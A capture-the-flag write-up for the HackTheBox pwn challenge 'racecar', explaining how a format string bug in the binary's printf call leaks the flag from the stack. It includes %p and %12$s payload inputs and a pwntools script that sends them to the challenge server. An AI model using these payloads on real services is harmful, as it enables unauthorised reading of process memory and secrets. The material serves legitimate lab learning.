← Back to Writeups
HTBN/APwn

racecar

XESXOR8/23/20263 min read
#pwn#htb#n/a

racecar

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!

Solution Approach

Core idea: Stack-Based Exploitation. Exploiting FSB to leak stack value.

Steps

  1. First, unzip the file given and enter hackthebox as the password.

  2. Next, check the file type.

  3. It's an ELF 32 bit file, dynamically linked and luckily not stripped.

  4. Now check the file's protector.

  5. Hmm.. Looks like there's no vuln we can utilize here.

  6. Anyway, let us run the file.

  7. Let us run the remote server.

  8. Follow the same steps as before.

  9. Let us decompile the file using ghidra.

  10. Since we want to know what happen we the program asked us to enter the string, so let us check the car_menu() function.

CAR_MENU()

  1. Looks like we found the vuln here.

  2. We can do format strings attack, because there's no identifier specified at the printf() function.

  3. Run the file again, but this time in gdb and create the flag.txt first.

  4. At this session, input %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p as the input

  5. Great we reached the next step now.

  6. Based on the ghidra we know this variable stored the flag content

IT HAS 44 BYTES AS THE BUFFER

  1. Since we know the buffer is 44 bytes, then we need to find the offset of the __*format. To find that, since we can't loop to run the file.

  2. We can find the offset by input it manually from 1 - 44. -> (%1-44$s).

  3. Got a string when i tried to input %12$s.

  4. It means the start offset of the flag is 12.

  5. Let us continue.

INPUT -> %12$p %13$p

NOTES: Changed the 's' to 'p', because we would get segmentation fault. Just need the hex value.

CONTINUE -> %12$p %13$p %14$p

CONTINUE -> %12$p %13$p %14$p %15$p

ETC..

  1. To simply automate this, i made a python script to solve this challenge:

THE SCRIPT

from pwn import *
import os

'''
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

#gdbscript = '''
#init-pwndbg
#continue
'''.format(**locals())
exe = '.racecar'

### This will automatically get context arch, bits, os etc

elf = context.binary = ELF(exe, checksec=False)
'''

os.system('clear')
context.log_level = 'debug' 
payload = ""

for i in range(12, 13):
    payload += "%" + str(i) + "$p " # sh.sendline('%' + str(i) + '$s')

sh = remote('157.245.41.35', 30606)
sh.recvuntil(": ")
sh.sendline(b'Nicolas')
sh.recvuntil(": ")
sh.sendline(b'Nic')
sh.recvuntil("> ")
sh.sendline(b'2')
sh.recvuntil("> ")
sh.sendline(b'1')
sh.recvuntil("> ")
sh.sendline(b'2')
sh.recvuntil("> ")
sh.sendline(payload)
sh.recv()
result = sh.recv()
print(result)

output = (result.decode("utf-8").split("m\n"))[1]
output = output.split()

flag = ""
for items in output:
    flag += p32(int(items, base = 16)).decode("utf-8") #base 16 -> hex , then decode it

print(flag)
  1. Try to input 13 as the end offset of the flag.

  2. Got the prefix only.

  3. So increment the second parameter of the loop until i got the complete flag.

  4. Turns out, i got the flag when the second parameter value is 223.

  5. Finally, we got the flag!

Flag

REDACTED

Lessons Learned

  1. Stack-Based Exploitation.
  2. Exploiting FSB to leak stack value.